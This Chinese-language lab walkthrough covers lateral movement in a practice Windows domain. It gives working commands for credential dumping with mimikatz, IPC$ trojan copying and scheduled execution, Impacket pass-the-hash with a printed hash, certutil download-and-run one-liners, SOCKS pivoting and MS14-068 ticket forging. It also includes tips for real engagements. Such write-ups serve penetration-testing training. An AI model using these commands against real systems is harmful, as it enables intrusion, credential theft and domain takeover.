内网横向移动 ?

文章目录

  • 前言
  • 靶场环境配置
  • 一.内网横向移动
    • [1.1 首先拿到webshell](#1.1 首先拿到webshell)
    • [1.2 做信息收集](#1.2 做信息收集)
    • [1.3 ping当前域名](#1.3 ping当前域名)
    • [1.4 收集域内用户信息](#1.4 收集域内用户信息)
    • [1.5 扫描端口信息](#1.5 扫描端口信息)
    • [1.6 收集内网凭据信息(各种密码)](#1.6 收集内网凭据信息(各种密码))
    • [1.7 横向移动](#1.7 横向移动)
    • [1.8 正向连接操作步骤:](#1.8 正向连接操作步骤:)
      • [1.8.1 CS创建正向连接监听器](#1.8.1 CS创建正向连接监听器)
      • [1.8.2 利用此监听器生成木马,保存到本地桌面](#1.8.2 利用此监听器生成木马,保存到本地桌面)
      • [1.8.3 建立IPC连接(两种方法任选)](#1.8.3 建立IPC连接(两种方法任选))
        • [1.8.3.1 方法一:输入命令建立连接](#1.8.3.1 方法一:输入命令建立连接)
        • [1.8.3.2 方法二:利用插件建立连接](#1.8.3.2 方法二:利用插件建立连接)
      • [1.8.4 上传木马到webserver](#1.8.4 上传木马到webserver)
      • [1.8.5 上传木马到dc域控](#1.8.5 上传木马到dc域控)
      • [1.8.6 执行木马](#1.8.6 执行木马)
      • [1.8.7 连接木马](#1.8.7 连接木马)
    • [1.9 反向连接操作步骤:(步骤没问题,最后没有上线成功)](#1.9 反向连接操作步骤:(步骤没问题,最后没有上线成功))
      • [1.9.1 cs 转发上线](#1.9.1 cs 转发上线)
      • [1.9.2 cs生成木马](#1.9.2 cs生成木马)
      • [1.9.3 cs上传木马](#1.9.3 cs上传木马)
      • [1.9.4 上传木马到域控](#1.9.4 上传木马到域控)
      • [1.9.5 执行木马](#1.9.5 执行木马)
      • [1.9.6 上线](#1.9.6 上线)
  • [二、各种套件的利用:"impacket" 实现内网横向移动](#二、各种套件的利用:“impacket” 实现内网横向移动)
    • 使用方法:
      • [2.1 上传exe文件](#2.1 上传exe文件)
      • [2.2 调用脚本(可能一次不成功要多执行几次)](#2.2 调用脚本(可能一次不成功要多执行几次))
      • [2.3 将本地的木马下载到目标机器](#2.3 将本地的木马下载到目标机器)
      • [2.4 执行脚本,上线!](#2.4 执行脚本,上线!)
  • 三、代理转发实现内网横向移动
    • [3.1 开启SOCKS代理](#3.1 开启SOCKS代理)
    • [3.2 本地代理服务配置](#3.2 本地代理服务配置)
    • [3.3 检查物理机是否能访问内网](#3.3 检查物理机是否能访问内网)
    • [3.4 本地cmd执行命令](#3.4 本地cmd执行命令)
    • [3.5 使用py脚本横向移动](#3.5 使用py脚本横向移动)
    • [3.6 cs上线mary(步骤没问题没成功)](#3.6 cs上线mary(步骤没问题没成功))
  • 四、移动到win7
    • [4.1 在"目标"栏,鼠标右键选择"Jump"实现横向移动](#4.1 在“目标”栏,鼠标右键选择“Jump”实现横向移动)
    • [4.2 利用收集到的用户凭据信息,直接实现横向移动。(没成功)](#4.2 利用收集到的用户凭据信息,直接实现横向移动。(没成功))
  • 五、使用Impackt套件工具(无明文密码时利用)
    • [5.1 CS对当前受控机器提权,进行信息收集](#5.1 CS对当前受控机器提权,进行信息收集)
    • [5.2 CS进行代理转发,本地使用代理工具配置代理](#5.2 CS进行代理转发,本地使用代理工具配置代理)
    • [5.3 打开工具包中的"examples"文件](#5.3 打开工具包中的“examples”文件)
      • [5.3.1 psexec.py](#5.3.1 psexec.py)
        • [5.3.1.1 上传木马](#5.3.1.1 上传木马)
        • [5.3.1.2 下载木马](#5.3.1.2 下载木马)
      • [5.3.2 smbexec.py](#5.3.2 smbexec.py)
        • [5.3.2.1 使用命令连接内网的Windows7主机](#5.3.2.1 使用命令连接内网的Windows7主机)
        • [5.3.2.2 上线cs](#5.3.2.2 上线cs)
      • [5.3.3 wmiexe.py](#5.3.3 wmiexe.py)
        • [5.3.3.1 使用命令连接内网的Windows7主机](#5.3.3.1 使用命令连接内网的Windows7主机)
        • [5.3.3.2 上线cs](#5.3.3.2 上线cs)
  • 六、PTT票据传递
    • [6.1 利用ms14-068漏洞生成票据(利用明文密码生成,直接攻击域控)](#6.1 利用ms14-068漏洞生成票据(利用明文密码生成,直接攻击域控))
      • [6.1.1 上线webshell](#6.1.1 上线webshell)
      • [6.1.2 查看用户SID](#6.1.2 查看用户SID)
      • [6.1.3 生成票据](#6.1.3 生成票据)

前言

横向移动是从一个受控的主机迁移到另一个主机的过程。进入内部网络之后,常常利用被攻陷的主机作为跳板,继续访问或控制内网中的其他机器,直至获取机密数据或者控制关键资产。

横向移动包括用来进入内部网络和控制网络上的远程系统的技术。通常需要借助内网代理来探测内网中存活的资产,并确定最终的攻击目标,然后通过收集到的用户凭据,利用各种远程控制技术对目标发起攻击。

靶场环境配置

网络结构解读:webserver是唯一对外服务的主机,整个域内环境中只有他能够访问外网,其他主机全部无法访问外网,只能实现域内通信,同时域内的所有机器都受到域控(DC)的管理。

目的:我们通过web渗透拿到了webserver主机的控制权,想要进一步对域内其他主机做横向渗透或者拿下整个域控的权限。

因为是演示内网渗透,所以默认我们已经拿到了webserver的权限,所有的上传脚本或者工具的操作都只会在webserver上面。其余主机不会有任何的操作。

一.内网横向移动

1.1 首先拿到webshell

首先拿到webshell之后,利用webshell上传CS生成的木马,调用webserver主机运行木马并上线

1.2 做信息收集

上线之后,第一件事情:做信息收集

进入beacon,输入命令判断是否为域环境:shell net time /domain

#这条命令在没有域环境的主机上执行时,会显示没有域环境。因此可以使用此命令判断目标当前是否处于域环 境

#如果当前用户不是域主机,可在CS中执行"spawn as"以其他用户上线(提权之后可切换用户)

1.3 ping当前域名

得到当前域环境之后,使用ping命令去ping当前的域名,即可得到当前域控的ip地址:

复制代码
shell ping OWA2010CN-God.god.org -4

1.4 收集域内用户信息

复制代码
执行命令收集域内用户信息:
shell net user /domain

1.5 扫描端口信息

使用CS插件收集域内网络、端口信息

#收集的结果会显示在"视图"的"目标"栏目


对已经扫描出来的内网主机进行备注方便后续操作

1.6 收集内网凭据信息(各种密码)

收集内网凭据信息(各种密码)

#抓取密码的操作需要提升权限。
使用插件提权(很多的插件都有权限提升的功能,可多次尝试) 提权成功之后,会多出一条system权限的会话。


也可以试试其他提权漏洞或者插件

执行成功后多出来一条system会话

提权之后再获取密码和哈希值 可在"凭据信息"中看到在当前主机上登录过的账号密码和哈希值。

#内网域环境,每当域内其他账号登录在这台电脑的时候,登录过程中账号和密码信息会有域环境的验证过程, 这个验证过程会将账号密码保存在当前电脑的运行内存中,这时可以使用mimikatz插件抓取内存中的账号密 码。

提权成功后抓取hash

抓取明文密码

查看抓取到的密码

要想抓到域控的密码必须要域控曾经在这台机器上登录过

UAC 的凭据仅用于本次权限提升的验证,验证完成后不会被保留在 LSASS 的可被 mimikatz 读取的内存缓存中,因此

mimikatz 无法捕获到这个临时输入的密码。

用户正常登录系统的凭据、或已被 Windows 长期缓存到 LSASS 进程内存中的凭据(比如用户登录系统时输入的密码,会被 LSASS缓存以支持后续的资源访问)。这类凭据会被持久化存储在 LSASS 的内存空间中,因此 mimikatz 可以读取到这些缓存的凭据数据。

然后再抓取密码

获取到域控的账号密码

Administrator:Admin12345

1.7 横向移动

抓取到账号密码信息之后,接下来开始横向移动

思路:在CS中,目前上线的只有10.0.0.0/24网段的主机,但是在端口扫描中我们能够发现该主机还存

在192.168.3.0/24网段。说明只有10.0.0.0/24这个网段能够出网,192.168.3.0/24网段不能出网判断它属于内网环境 由于我们的目标是内网环境下192.168.3.0/24网段的主机,所以可以通过CS的ipc命令来实现横向移动,在这个过程中会有正向连接和反向连接的过程。

1.8 正向连接操作步骤:

1.8.1 CS创建正向连接监听器

1.8.2 利用此监听器生成木马,保存到本地桌面

#实战过程中木马要做免杀

1.8.3 建立IPC连接(两种方法任选)

#ipc:中文翻译为进程间通信。它是指在操作系统中,不同进程之间进行数据交换和协同工作的一种技术。 ipc可以通过共享内存、管道、套接字等多种方式实现进程间的通信。

#利用ipc技术建立网络共享连接之后,可以访问远程主机上的资源:如查看远程主机目录、复制文件、读取远 程主机上的文件、在远程主机上创建计划任务或系统服务等等,实战中通常会利用此方法。

IPC连接:https://blog.csdn.net/flyingleo1981/article/details/18763229

1.8.3.1 方法一:输入命令建立连接
复制代码
shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
#命令注释:使用CS调动ipc的方式输入账号密码和目标机器建立连接(账号密码在信息收集凭据信息时可以获取)

利用system权限会话进入命令行执行命令建立连接

1.8.3.2 方法二:利用插件建立连接

选择插件中的横向移动模块,选择与指定主机建立IPC连接,输入目标主机的IP地址,账号密码(前面信息收集可得到)

1.8.4 上传木马到webserver

CS利用提权过的system会话,选择文件管理将生成的4444.exe木马上传到当前主机上


1.8.5 上传木马到dc域控

shell copy 4444.exe \192.168.3.21\c$

#利用IPC建立的连接,使用copy命令将当前受控机的木马复制到目标主机的c盘下

查看目标机器可以看到上传成功了

1.8.6 执行木马

查看当前时间,然后使用at命令创建计划任务运行4444.exe木马

复制代码
查看当前时间:
shell net time
使用at命令创建计划任务:(时间需要根据实际情况去设置)
shell at \\192.168.3.21 19:49 c:\4444.exe

根据时间设置定时任务执行木马

针对Windows2012版本之前的操作系统可以使用at命令;

针对Windows2012及以后版本的操作系统使用schtasks命令

复制代码
schtasks /create /s 192.168.3.21 /ru "SYSTEM" /tn beacon /sc DAILY /tr
c:\4444.exe /F
原理和at命令是一样的。

1.8.7 连接木马

等设置的时间到了之后,执行命令正向连接我们上传的木马,成功上线!实现横向移动

复制代码
连接192.168.3.21的4444端口:
connect 192.168.3.21 4444

新增上线一条cs会话,成功实现横向移动

1.9 反向连接操作步骤:(步骤没问题,最后没有上线成功)

1.9.1 cs 转发上线

CS中在提权的会话中,选择"代理转发"、"转发上线"模块(这一步也可以叫做新增监听器)

1.9.2 cs生成木马

使用CS生成木马,上传到目标主机(监听器选择刚刚设置的当前主机)

生成木马为5555.exe(名字自定义)

1.9.3 cs上传木马

CS利用提权过的system会话,选择文件管理将生成的5555.exe木马上传到当前主机上

1.9.4 上传木马到域控

此时建立IPC连接的过程和之前一样,

看到又之前连的

复制代码
shell net use

删掉重新连

复制代码
shell net use \\192.168.3.21\ipc$ /delete
复制代码
shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator

CS中使用命令将上传的5555.exe木马复制到目标机器

复制代码
shell copy 5555.exe \\192.168.3.21\c$

1.9.5 执行木马

查看当前时间,然后设置任务执行5555.exe木马

复制代码
shell net time
shell at \\192.168.3.21 13:57 c:\5555.exe
#首先查看当前服务器时间,然后根据当前服务器时间使用at命令设置木马到一个时间点之后自动运行

1.9.6 上线

等待设置的时间到了之后木马自动运行,CS成功上线!实现横向移动

二、各种套件的利用:"impacket" 实现内网横向移动

相关介绍:https://blog.csdn.net/qq_18811919/article/details/129152861

impacket是一系列网络协议,包括IP、TCP、ICMP等基础的网络协议,更重要的是其实现了大量的

Windows通信协议,是一个常用的"域渗透工具包"。工具包的原始代码都是用python写的脚本,在实战中需要 依赖于python的环境。所以有局限性,因此全部打包成了exe可执行文件。

使用方法:

2.1 上传exe文件

将这些exe可执行文件,上传到被控机器("atexec.exe"为例)

2.2 调用脚本(可能一次不成功要多执行几次)

CS调用终端命令行,利用上传的脚本执行连接命令

复制代码
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
#利用收集到的账号密码信息,调用上传的atexec.exe脚本连接指定的主机(IP地址)并在引号内输入想要执
行的命令
复制代码
除了账号密码,还支持hash值连接:
shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/Administrator@192.168.3.21 "whoami"
#利用收集到的hash值来进行连接和执行命令

和利用巴西烤肉的提权脚本有些类似,都是上传工具然后调用并且在双引号中执行想要的操作

2.3 将本地的木马下载到目标机器

利用工具去执行下载命令,将本地的木马下载到目标机器

下载之前要先将木马通过CS上传到被控主机的网站根目录

复制代码
执行下载命令将木马下载到本地:(因为目标机器无法联网,只能构造本地下载地址)
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "certutil.exe -urlcache -split -f http://192.168.3.31:80/5555.exe fan.exe"

2.4 执行脚本,上线!

复制代码
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "fan.exe"

执行成功了,但是也没有上线成功

上传工具的用法其实在实战中用处不大,因为需要上传文件,而且文件也不小容易被发现,那有没有更好的办法呢?

可以使用代理转发,直接开启SOCKS代理转发功能,不需要上传各种工具,就可以在

本地执行这些exe程序进行攻击!来试一试~

三、代理转发实现内网横向移动

3.1 开启SOCKS代理


3.2 本地代理服务配置

地址是cs服务器地址

3.3 检查物理机是否能访问内网

3.4 本地cmd执行命令

复制代码
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"

3.5 使用py脚本横向移动

在物理机上使用psexec.py横向移动到mary

复制代码
python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 -codec gbk god/Administrator@192.168.3.25

3.6 cs上线mary(步骤没问题没成功)

上面的是在物理机控制台显示,看起来不太方便,接下来让mary上线cs

复制代码
certutil.exe -urlcache -split -f http://192.168.3.31:80/5555.exe 5555.exe&5555.exe

四、移动到win7

移动到Windows7主机更简单直接:

4.1 在"目标"栏,鼠标右键选择"Jump"实现横向移动

4.2 利用收集到的用户凭据信息,直接实现横向移动。(没成功)

利用收集到的用户凭证信息,实现横向移动

Windows7主机上线之后,再次执行mimikatz收集更多的用户凭据。收集完之后,再次使用这些凭据实现更多的横向移动!

五、使用Impackt套件工具(无明文密码时利用)

Impacket 工具包是红队人员内网横向使用频率最多的工具包之一,而Impacket 是一个标准 Python 类库,用于对 SMB1-3 或 IPv4 / IPv6 上的 TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB, MSRPC,NTLM,Kerberos,WMI,LDAP 等协议进行低级编程访问。可以独立安装,也可以直接打开命令行调用python去使用。

使用环境:使用工具包时出现以下报错表示缺少python模块

复制代码
安装模块命令:pip install impacket

环境配置成功之后使用步骤:

5.1 CS对当前受控机器提权,进行信息收集

端口扫描,凭据信息等等

5.2 CS进行代理转发,本地使用代理工具配置代理


5.3 打开工具包中的"examples"文件

examples文件中都是一些py类型的工具,需要依赖于python运行。接下来我们演示三种类型的

5.3.1 psexec.py

复制代码
shell chcp #获取对应编码

执行后会返回编码代码(例如:936对应GBK,65001对应UTF-8,437对应英文系统编码)。

复制代码
python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 -codec gbk god/Administrator@192.168.3.21
#运行python调用psexec.py,利用信息收集的hash值可直接连接到目标机器的cmd命令行。

接下来将取得的cmd权限转移到CS上面,使其上线!

5.3.1.1 上传木马

利用CS的文件管理功能上传生成的木马到webserver主机的网站目录下

5.3.1.2 下载木马

输入命令将上传的木马下载到Windows7机器并运行(命令可以在线生成)

命令生成网址:https://forum.ywhack.com/bountytips.php?download

复制代码
certutil.exe -urlcache -split -f http://192.168.3.31:80/5555.exe 5555.exe&5555.exe

5.3.2 smbexec.py

5.3.2.1 使用命令连接内网的Windows7主机
复制代码
python smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 -codec gbk god/Administrator@192.168.3.21
#命令运行之后等待几秒会返回一个命令行,此时是mary的主机
5.3.2.2 上线cs

上线CS的过程和上述方法一样(将木马上传到webserver主机,然后下载运行)

5.3.3 wmiexe.py

5.3.3.1 使用命令连接内网的Windows7主机

本机cmd运行命令,会回弹一个CMD命令行

复制代码
python wmiexec.py -hashes :ccef208c6485269c20db2cad21734fe7 -codec gbk god/Administrator@192.168.3.21
5.3.3.2 上线cs

CS上线步骤同上,不重复演示。

六、PTT票据传递

票据传递(Pass the Ticket,PTT),使用Kerberos票据进行内网横向,不需要管理员权限。当在域环境下的一些通信协议不能够正常利用时。也就是前面学习的方式都无法利用,可以尝试利用收集到的凭据信息生成票据去拿到域控权限。
网络认证协议Kerberos(相当于web中的cookie或session,属于用户凭据)

Kerberos是一个网络认证协议,用于验证用户和服务之间的身份,解决分布式计算环境中的身份验证问题。它使用加密技术来提供安全的身份验证,并防止网络中的身份欺骗攻击。Kerberos协议使用了票据交换的方式,其中包括客户端、认证服务器(AS)和票据授予服务器(TGS)。

Kerberos协议的优势在于提供了安全的身份验证机制,防止了网络中的身份欺骗攻击。它使用加密技术、共享密钥和票据交换等方法,确保只有经过身份验证的用户才能访问受保护的服务。Kerberos广泛应用于企业网络环境中,特别是在Windows域环境中,用于实现单点登录和统一身份验证 内网域中基本概念: KDC(Key Distribution Center)= 密钥分发中心 AS(Authentication Service)= 认证用户的身份,并为其发放TGT的服务

TGT(Ticket Granting Ticket)= TGT认证票据,由AS服务发放,存储在内存,默认有效期为10小时TGS(Ticket Granting Service)= 票据发放服务 ST(Service Tickets)=ST服务票据,由TGS服务发送 AP(Application Server)= 提供用户所需的服务 黄金票据(Golden Ticket)= 使用域账号krbtgt的NTLM Hash进行加密 白银票据 (Silver Ticket)= 使用服务账户的NTLM Hash进行加密

票据攻击的原理及利用:https://blog.csdn.net/weixin_54902210/article/details/128240484

6.1 利用ms14-068漏洞生成票据(利用明文密码生成,直接攻击域控)

原理:MS14-068是密钥分发中心(KDC)服务中的Windows漏洞,它允许经过身份验证的用户在票据(TGT)中插入任意PAC(代理配置)攻击者可以通过构造特定的请求包来达到提升权限的目的,相当于web中 的cookie伪造。

6.1.1 上线webshell

CS拿到webserver主机之后,执行命令,查看当前用户的SID值。

6.1.2 查看用户SID

复制代码
shell whoami/user
#查看当前用户的SID值

6.1.3 生成票据

利用工具包中MS14-068.exe生成票据。进入CMD命令行,调用MS14-068.exe伪造票据。

复制代码
MS14-068.exe -u webadmin@god.org -s S-1-5-18 -d 192.168.3.21 -p admin!@#45
-u 指定用户名
-s 指定SID值
-d 指定IP地址
-p 指定密码
#以上信息都可通过信息收集获取。
相关推荐
用户3074596982074 小时前
一文搞懂 PHP 中的 `cURL` 和 `header()`:请求头 vs 响应头
php
百***07454 小时前
Step-Audio-2 API 中转调用解决方案:2025 年版
开发语言·php
用户7227868123445 小时前
PHP 初学者指南 基础结构与常见错误
php
爱潜水的小L5 小时前
自学嵌入式day37,网络编程
开发语言·网络·php
网安_秋刀鱼6 小时前
【java安全】shiro反序列化1(shiro550)
java·开发语言·安全·web安全·网络安全·1024程序员节
世界尽头与你6 小时前
CVE-2022-21697_ Jupyter Server 代码问题漏洞
网络安全·jupyter·渗透测试
阿恩.7706 小时前
材料工程科技期刊征稿:快速发表,知网、维普检索!
经验分享·笔记·考研·网络安全·数学建模·能源·制造
zfj3217 小时前
“昨晚快手被黑直播平台出现大量违规内容“技术解析
网络·网络安全·系统防护
风月歌7 小时前
php医院预约挂号系统小程序源代码(源码+文档+数据库)
数据库·微信小程序·小程序·毕业设计·php·源码